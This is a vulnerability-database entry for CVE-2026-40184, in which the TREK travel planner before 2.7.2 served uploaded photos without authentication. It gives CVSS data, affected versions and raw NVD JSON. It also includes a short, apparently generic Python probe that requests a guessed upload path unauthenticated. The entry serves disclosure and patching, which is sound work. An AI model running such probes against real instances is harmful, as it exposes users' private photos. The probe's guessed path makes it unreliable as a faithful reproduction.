Security Vulnerability Report
中文
CVE-2026-40184 CVSS 3.7 LOW

CVE-2026-40184

Published: 2026-04-10 20:16:23
Last Modified: 2026-04-21 19:24:28

Description

TREK is a collaborative travel planner. Prior to 2.7.2, TREK served uploaded photos without requiring authentication. This vulnerability is fixed in 2.7.2.

CVSS Details

CVSS Score
3.7
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:mauriceboe:trek:*:*:*:*:*:*:*:* - VULNERABLE
TREK < 2.7.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def check_poc(target_url): # Example path to uploaded files, adjust based on actual application structure # The vulnerability implies photos are accessible without auth. upload_path = "/uploads/photo.jpg" url = f"{target_url}{upload_path}" try: response = requests.get(url, timeout=5) if response.status_code == 200: print(f"[+] Vulnerability confirmed! File accessible at: {url}") else: print(f"[-] File not accessible or path incorrect. Status: {response.status_code}") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": target = "http://example.com" # Replace with actual target check_poc(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-40184", "sourceIdentifier": "[email protected]", "published": "2026-04-10T20:16:23.417", "lastModified": "2026-04-21T19:24:27.903", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "TREK is a collaborative travel planner. Prior to 2.7.2, TREK served uploaded photos without requiring authentication. This vulnerability is fixed in 2.7.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 3.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-306"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mauriceboe:trek:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.7.1", "matchCriteriaId": "0AC1A5B5-BB04-4ED4-ABC2-D87262232EFF"}]}]}], "references": [{"url": "https://github.com/mauriceboe/TREK/commit/16277a3811a00c2983f7486fee83c112986cb179", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/mauriceboe/TREK/releases/tag/v2.7.2", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/mauriceboe/TREK/security/advisories/GHSA-wxx3-84fc-mrx2", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}